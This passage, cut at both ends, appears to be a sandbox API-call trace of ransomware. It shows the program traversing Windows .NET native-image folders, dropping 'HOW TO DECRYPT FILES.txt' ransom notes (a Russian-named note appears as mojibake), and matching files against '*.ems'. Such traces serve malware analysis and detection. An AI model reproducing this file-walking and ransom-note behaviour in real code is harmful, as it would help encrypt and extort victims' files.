lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Accessibility\\b03641c39929ad202f0c3a9a64b93d86") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Accessibility\\b03641c39929ad202f0c3a9a64b93d86" [0107.192] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Accessibility\\b03641c39929ad202f0c3a9a64b93d86\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f336dbd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f336dbd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f336dbd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.192] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.192] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f336dbd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f336dbd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f336dbd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.192] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.192] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.192] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f29e83c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f29e83c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f29e83c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Accessibility.ni.dll", cAlternateFileName="ACCESS~1.DLL")) returned 1 [0107.192] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.192] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Accessibility.ni.dll") returned 1 [0107.192] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Accessibility.ni.dll") returned 1 [0107.192] lstrcmpiA (lpString1="", lpString2="Accessibility.ni.dll") returned -1 [0107.192] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Accessibility\\b03641c39929ad202f0c3a9a64b93d86\\*.*") returned="*.*" [0107.193] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Accessibility\\b03641c39929ad202f0c3a9a64b93d86\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Accessibility\\b03641c39929ad202f0c3a9a64b93d86\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Accessibility\\b03641c39929ad202f0c3a9a64b93d86\\" [0107.193] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Accessibility\\b03641c39929ad202f0c3a9a64b93d86\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Accessibility\\b03641c39929ad202f0c3a9a64b93d86\\") returned="" [0107.193] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Accessibility\\b03641c39929ad202f0c3a9a64b93d86\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Accessibility\\b03641c39929ad202f0c3a9a64b93d86\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Accessibility\\b03641c39929ad202f0c3a9a64b93d86\\HOW TO DECRYPT FILES.txt" [0107.193] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Accessibility\\b03641c39929ad202f0c3a9a64b93d86\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\accessibility\\b03641c39929ad202f0c3a9a64b93d86\\how to decrypt files.txt")) returned 0xffffffff [0107.193] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Accessibility\\b03641c39929ad202f0c3a9a64b93d86\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\accessibility\\b03641c39929ad202f0c3a9a64b93d86\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.196] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.196] CloseHandle (hObject=0x90) returned 1 [0107.196] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Accessibility\\b03641c39929ad202f0c3a9a64b93d86\\", lpString2="Accessibility.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Accessibility\\b03641c39929ad202f0c3a9a64b93d86\\Accessibility.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Accessibility\\b03641c39929ad202f0c3a9a64b93d86\\Accessibility.ni.dll" [0107.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Accessibility\\b03641c39929ad202f0c3a9a64b93d86\\Accessibility.ni.dll", pszSpec="*.ems") returned 0 [0107.197] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f29e83c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f29e83c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f29e83c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Accessibility.ni.dll", cAlternateFileName="ACCESS~1.DLL")) returned 0 [0107.197] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.197] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f336dbd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f336dbd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f336dbd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="b03641c39929ad202f0c3a9a64b93d86", cAlternateFileName="B03641~1")) returned 0 [0107.197] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.197] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5da50200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5da50200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5da50200, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630041, dwReserved1=0x650063, cFileName="AuditPolicyGPManage#", cAlternateFileName="AUDITP~1")) returned 1 [0107.197] lstrcmpA (lpString1=".", lpString2="AuditPolicyGPManage#") returned -1 [0107.197] lstrcmpA (lpString1="..", lpString2="AuditPolicyGPManage#") returned -1 [0107.198] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.198] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="AuditPolicyGPManage#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\AuditPolicyGPManage#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\AuditPolicyGPManage#" [0107.198] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\AuditPolicyGPManage#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5da50200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5da50200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5da50200, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.198] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.198] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5da50200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5da50200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5da50200, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.199] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.199] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.199] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5da50200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5da50200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5da50200, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ce8c100b866ac8facc1902286aede990", cAlternateFileName="CE8C10~1")) returned 1 [0107.199] lstrcmpA (lpString1=".", lpString2="ce8c100b866ac8facc1902286aede990") returned -1 [0107.199] lstrcmpA (lpString1="..", lpString2="ce8c100b866ac8facc1902286aede990") returned -1 [0107.199] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\AuditPolicyGPManage#\\*.*") returned="*.*" [0107.199] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\AuditPolicyGPManage#\\", lpString2="ce8c100b866ac8facc1902286aede990" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\AuditPolicyGPManage#\\ce8c100b866ac8facc1902286aede990") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\AuditPolicyGPManage#\\ce8c100b866ac8facc1902286aede990" [0107.199] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\AuditPolicyGPManage#\\ce8c100b866ac8facc1902286aede990\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5da50200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5da50200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5da50200, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.200] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.200] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5da50200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5da50200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5da50200, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.201] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.201] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.201] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30333000, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30333000, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x87cb63e2, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AuditPolicyGPManagedStubs.Interop.ni.dll", cAlternateFileName="AUDITP~1.DLL")) returned 1 [0107.201] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.201] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AuditPolicyGPManagedStubs.Interop.ni.dll") returned 1 [0107.201] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AuditPolicyGPManagedStubs.Interop.ni.dll") returned 1 [0107.201] lstrcmpiA (lpString1="", lpString2="AuditPolicyGPManagedStubs.Interop.ni.dll") returned -1 [0107.201] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\AuditPolicyGPManage#\\ce8c100b866ac8facc1902286aede990\\*.*") returned="*.*" [0107.201] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\AuditPolicyGPManage#\\ce8c100b866ac8facc1902286aede990\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\AuditPolicyGPManage#\\ce8c100b866ac8facc1902286aede990\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\AuditPolicyGPManage#\\ce8c100b866ac8facc1902286aede990\\" [0107.201] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\AuditPolicyGPManage#\\ce8c100b866ac8facc1902286aede990\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\AuditPolicyGPManage#\\ce8c100b866ac8facc1902286aede990\\") returned="" [0107.201] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\AuditPolicyGPManage#\\ce8c100b866ac8facc1902286aede990\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\AuditPolicyGPManage#\\ce8c100b866ac8facc1902286aede990\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\AuditPolicyGPManage#\\ce8c100b866ac8facc1902286aede990\\HOW TO DECRYPT FILES.txt" [0107.202] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\AuditPolicyGPManage#\\ce8c100b866ac8facc1902286aede990\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\auditpolicygpmanage#\\ce8c100b866ac8facc1902286aede990\\how to decrypt files.txt")) returned 0xffffffff [0107.202] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\AuditPolicyGPManage#\\ce8c100b866ac8facc1902286aede990\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\auditpolicygpmanage#\\ce8c100b866ac8facc1902286aede990\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.207] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.207] CloseHandle (hObject=0x90) returned 1 [0107.207] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\AuditPolicyGPManage#\\ce8c100b866ac8facc1902286aede990\\", lpString2="AuditPolicyGPManagedStubs.Interop.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\AuditPolicyGPManage#\\ce8c100b866ac8facc1902286aede990\\AuditPolicyGPManagedStubs.Interop.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\AuditPolicyGPManage#\\ce8c100b866ac8facc1902286aede990\\AuditPolicyGPManagedStubs.Interop.ni.dll" [0107.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\AuditPolicyGPManage#\\ce8c100b866ac8facc1902286aede990\\AuditPolicyGPManagedStubs.Interop.ni.dll", pszSpec="*.ems") returned 0 [0107.207] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30333000, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30333000, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x87cb63e2, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AuditPolicyGPManagedStubs.Interop.ni.dll", cAlternateFileName="AUDITP~1.DLL")) returned 0 [0107.208] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.208] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5da50200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5da50200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5da50200, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ce8c100b866ac8facc1902286aede990", cAlternateFileName="CE8C10~1")) returned 0 [0107.208] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.208] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5df091c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5df091c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5df091c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x750041, dwReserved1=0x690064, cFileName="BDATunePIA", cAlternateFileName="BDATUN~1")) returned 1 [0107.208] lstrcmpA (lpString1=".", lpString2="BDATunePIA") returned -1 [0107.208] lstrcmpA (lpString1="..", lpString2="BDATunePIA") returned -1 [0107.208] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.208] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="BDATunePIA" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\BDATunePIA") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\BDATunePIA" [0107.208] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\BDATunePIA\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5df091c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5df091c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5df091c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.209] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.209] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5df091c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5df091c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5df091c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.209] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.209] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.209] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5df091c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5df091c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5df091c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="13385391832b7c36af9306baeb570e57", cAlternateFileName="133853~1")) returned 1 [0107.209] lstrcmpA (lpString1=".", lpString2="13385391832b7c36af9306baeb570e57") returned -1 [0107.209] lstrcmpA (lpString1="..", lpString2="13385391832b7c36af9306baeb570e57") returned -1 [0107.209] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\BDATunePIA\\*.*") returned="*.*" [0107.209] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\BDATunePIA\\", lpString2="13385391832b7c36af9306baeb570e57" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\BDATunePIA\\13385391832b7c36af9306baeb570e57") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\BDATunePIA\\13385391832b7c36af9306baeb570e57" [0107.209] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\BDATunePIA\\13385391832b7c36af9306baeb570e57\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5df091c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5df091c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5df091c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.210] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.210] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5df091c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5df091c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5df091c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.210] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.210] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.210] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30333000, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30333000, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x88f9b2a4, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0xed200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="BDATunePIA.ni.dll", cAlternateFileName="BDATUN~1.DLL")) returned 1 [0107.210] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.210] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BDATunePIA.ni.dll") returned 1 [0107.210] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BDATunePIA.ni.dll") returned 1 [0107.210] lstrcmpiA (lpString1="", lpString2="BDATunePIA.ni.dll") returned -1 [0107.210] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\BDATunePIA\\13385391832b7c36af9306baeb570e57\\*.*") returned="*.*" [0107.210] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\BDATunePIA\\13385391832b7c36af9306baeb570e57\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\BDATunePIA\\13385391832b7c36af9306baeb570e57\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\BDATunePIA\\13385391832b7c36af9306baeb570e57\\" [0107.210] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\BDATunePIA\\13385391832b7c36af9306baeb570e57\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\BDATunePIA\\13385391832b7c36af9306baeb570e57\\") returned="" [0107.210] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\BDATunePIA\\13385391832b7c36af9306baeb570e57\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\BDATunePIA\\13385391832b7c36af9306baeb570e57\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\BDATunePIA\\13385391832b7c36af9306baeb570e57\\HOW TO DECRYPT FILES.txt" [0107.210] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\BDATunePIA\\13385391832b7c36af9306baeb570e57\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\bdatunepia\\13385391832b7c36af9306baeb570e57\\how to decrypt files.txt")) returned 0xffffffff [0107.210] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\BDATunePIA\\13385391832b7c36af9306baeb570e57\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\bdatunepia\\13385391832b7c36af9306baeb570e57\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.213] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.213] CloseHandle (hObject=0x90) returned 1 [0107.213] lstrcatA (in: 